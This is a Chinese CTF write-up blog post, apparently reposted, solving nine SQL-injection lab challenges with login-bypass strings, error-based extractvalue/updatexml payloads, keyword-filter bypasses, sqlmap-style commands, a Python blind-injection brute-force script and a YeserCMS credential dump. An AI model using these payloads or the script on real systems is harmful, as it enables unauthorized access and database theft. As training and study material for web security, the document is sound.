web 第二部分 SQL注入(3)

例题

1. 最简单的sql注入
http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.phphttp://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

查看源码可以需要admin账号,构造简单的注入就可以通过 admin’ or ‘a’=‘a’# (admin’ or 1=1# )密码随意 验证码正确填写就可以

2. 不要怀疑,我已经过滤了一切,还再逼你注入,哈哈哈哈哈!

登录表单测试username password 测试username输入mask’ ,没有报错,可是注入,粗测这里的sql语句类似是:
select …from …where username =’ ’ and password = ’ ';

构造username :mask'='0 password :mask'='0 sql语句变为:select ....from .... where (username ='mask')='0' and (password ='mask') = '0' 成功绕过  

3. 后台登录
http://ctf5.shiyanbar.com/web/houtai/ffifdyop.phphttp://ctf5.shiyanbar.com/web/houtai/ffifdyop.php

要求输入密码,观察php代码

 $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
   $result=mysqli_query($link,$sql);
  if(mysqli_num_rows($result)>0){
   echo 'flag is :'.$flag;
  }
  else{
   echo '密码错误!';
  }

存在md5($str,true)注入 md5(string, raw),raw可选,默认为false,true:返回16字符2进制格式,false:返回32字符16进制格式。

简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以进行注入了.

提供一个字符串:ffifdyop,
md5后为276f722736c95d99e921722cf9ed621c,转成字符串后为’or’6,即可成功绕过。

4.加了料的注入报错

该题目较为复杂,对于账号密码输入进行测试username='or '1 报错说明’可以使用,但是测试发现被过滤了#-:= ,并且username中不能使用(),password中却可以。

扫描二维码关注公众号,回复: 3535586 查看本文章

使用万能密码username='or ‘1,password=‘or ‘可以登录但是没卵用,查看源码发现提示的查询语句
s q l = " s e l e c t f r o m u s e r w h e r e u s e r n a m e = sql="select * from user where username=' username’ and password=’$password’"

根据以上信息,思路是在username里写报错函数名,password里写剩下的语句,使用的方法是http分割注入,原理是使用/**/进行注释。注入字符串如下:
报错出数据库名 (为error_based_hpf)

我们使用了两种函数的注入,extractvalue和updatexml,具体的区别见代码吧

username='or extractvalue /*,password=*/(1, concat(0x5c,(select user()))) or'
username=' or '1&password=' or pcat() or '1 ,显示FUNCTION error_based_hpf.pcat does not exist (利用形式username=' or updatexml/*&password=*/(1,concat(0x3a,(错误语句)),1) or ')

报表名:由于不能等号、limit、like,于是借用regexp(为ffll44jj)
username='or extractvalue /*,password=*/(1, concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'))) or'
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x3a),1) or '

爆字段(列) (为value)
username='or extractvalue /*,password=*/(1, concat(0x5c,(select group_concat(column_name) from information_schema.tables where table_name regexp 'ffll44jj'))) or'  
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.tables where table_name regexp 'ffll44jj'),0x3a),1) or ' 

 爆数值
 username='or extractvalue /*,password=*/(1, concat(0x5c,(select group_concat(value) from ffll44jj))) or'  
 username='or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(value) from ffll44jj),0x3a),1) or 
    '  
 即可得到flag        

5.认真一点
http://ctf5.shiyanbar.com/web/earnest/index.php

过滤了and,空格,逗号,union,+等,但是fuzzer时or是可以用的,不过在后台给删除了,所以采用oorr的形式进行盲注破解。

第一步 数据库名长度id=0’oorr(length(database())=1)oorr’0 如果长度正确就会显示在里面 使用inturder就可以 将长度标记$$ 设置范围1,40,1 得到结果为18长度

第二步 数据库名,使用单个字符爆破id=0’oorr((mid((database())from(y)foorr(x)))=’%s’)oorr’0 y表示起始位置 x表示执行几位 本题需要一位一位测试 即y为1-18 x=1 脚本见

import requests
# 本脚本用于自动爆破数据库长度 名字 表的长度 名字 字段 数值等
# 使用中,6个函数需要自己手动运行,根据返回的参数带入到下一个函数进行
# 具体的每个函数的负载 需要根据情况更改
# 这个不是我的 网上大佬的
​
url = "http://ctf5.shiyanbar.com/web/earnest/index.php"  # 测试的路径
str = "You are in"   # 成功时可以在响应中匹配到的字符串,用于判断
guess = "abcdefghijklmnopqrstuvwxyz0123456789~+=-*/\{}?!:@#$&[]."  # 名字猜解的字符范围def get_ku_length():
    print('start')
    for i in range(1, 30):
        key = {'id': "0'oorr(length(database())=%s)oorr'0" % i}
        res = requests.post(url, data=key).text
        print(i)
        if str in res:
            print("find the length %s" %i)
            breakdef get_ku_name():
    database = ''
    print('start')
    for i in range(1, 19):
        for j in guess:
            key = {'id': "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" % (i, j)}
            res = requests.post(url, data=key).text
            print('............%s......%s.......' % (i, j))
            if str in res:
                database += j
                break
    print(database)
​
​
def get_table_length():
    i = 1
    print("start")
    while True:
        # 多个表名使用@隔开
        res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0" % i
        res = res.replace(' ', chr(0x0a))
        key = {'id': res}
        r = requests.post(url, data=key).text
        print(i)
        if str in r:
            print("length: %s" % i)
            break
        i += 1
    print("end!")def get_table_name():
    table = ""
    print("start")
    for i in range(1, 12):
        for j in guess:
            res = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tab" \
                  "les)where(table_schema)=database())='%s')oorr'0" % (i, j)
            # 由于屏蔽空格 替换为换行符号
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            print('---------%s---------%s' % (i, j))
            if str in r:
                table += j
                break
    print(table)
    print("end!")
​
​
def get_ziduan_length(table_name):
    i = 1
    print("start")
    while True:
        # res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='')oorr'0" % i
        res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)="% i
        res += "'"+table_name + "')='')oorr'0"
        print(res)
        res = res.replace(' ', chr(0x0a))
        key = {'id': res}
        r = requests.post(url, data=key).text
        print(i)
        if str in r:
            print("length: %s" % i)
            break
        i += 1
    print("end!")def get_ziduan_name():
    column = ""
    print("start")
    for i in range(1, 6):
        for j in guess:
            res = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0" % (
            i, j)
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            print("......%s.........%s........." % (i, j))
            if str in r:
                column += j
                break
    print(column)
    print("end!")
​
​
def get_value():
    flag = ""
    print("start")
    for i in range(1, 20):
        for j in guess:
            res = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (i, j)
            res = res.replace(' ', chr(0x0a))
            key = {'id': res}
            r = requests.post(url, data=key).text
            'print("........%s..........%s........"%(i,j))'
            if str in r:
                flag += j
                print(flag)
                break
    print(flag)
    print("end!")

6.看起来有点难
http://ctf5.shiyanbar.com/basic/inject

为账号密码登录,使用SQL注入获取账号密码的

检查注入 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login"
读取库 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
读取表 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test"
读取数值 -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test"
得到账号密码为admin,idnuenna,登陆后得到flag

7. ichunqiu Web 名称:YeserCMS 50分

/celive/live/header.php文件的parse_str($sQuery, $aArray);存在注入漏洞。post使用报错注入

 库名 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database())) ),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
          
表 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
          、
猜解表的字段 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(column_name) from information_schema.columns where table_name='yesercms_user'),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>
    
获取数值 
    xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q></xjxquery>
                   
xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',((UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

得到admin|ff512d4240cbbdeafada404677ccbe61,解密后得到明文:Yeser231
登录后 后台管理在当前模板编辑处存在文件读取漏洞 https://www.ichunqiu.com/battalion

8. ichunqiu Web 名称:SQL 50分

从url的id参数发现可以注入,但是过滤了union select等关键字 不成问题 绕一下

uni<>on sel<>ect database() version()分别为 --》 sqli --》 5.5.50-0ubuntu0.14.04.1
进一步获取表 ?id=-1 uni<>on sele<>ct 1,(sel<>ect g<>roup_c<>oncat(t<>able_n<>ame) fro<>m i<>nformation_sch<>ema.tab<>les w<>here ta<>ble_sch<>ema=database()),3      --》info
进一步获取字段 ?id=-1 uni<>on sele<>ct 1,(sel<>ect gr<>oup_concat(colu<>mn_na<>me) from inform<>ation_schema.co<>lumns wh<>ere table_name='info'),3              --》id,title,flAg_T5ZNdrm
获取数值 ?id=-1 uni<>on sele<>ct 1,(sel<>ect gro<>up_co<>ncat(flAg_T5ZNdrm) f<>rom info),3

9. ichunqiu 百度杯十月 Web 名称:登陆 50分

这是一个登陆的账户密码输入框,但是对于一般的sql注入,过滤了很多mid, substr, left ,search 等很多函数,但是是存在布尔注入的,所以另外寻找方法

这有一个神奇的思路,两个输入框的class类名即为数据库中的段名,这个是别人测试出来的。

采用like模糊搜索,使用数字字母的前向匹配方式进行爆破,流程如下:

大循环-》使用上限为40个数字字母的’{}%'匹配,循环搜索,如果为真则进行下一个字母的匹配,直到搜索到完整的名字。(爆破账户密码)

输入的格式 admin’ or user_n3me like ‘a%’;#

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/82969364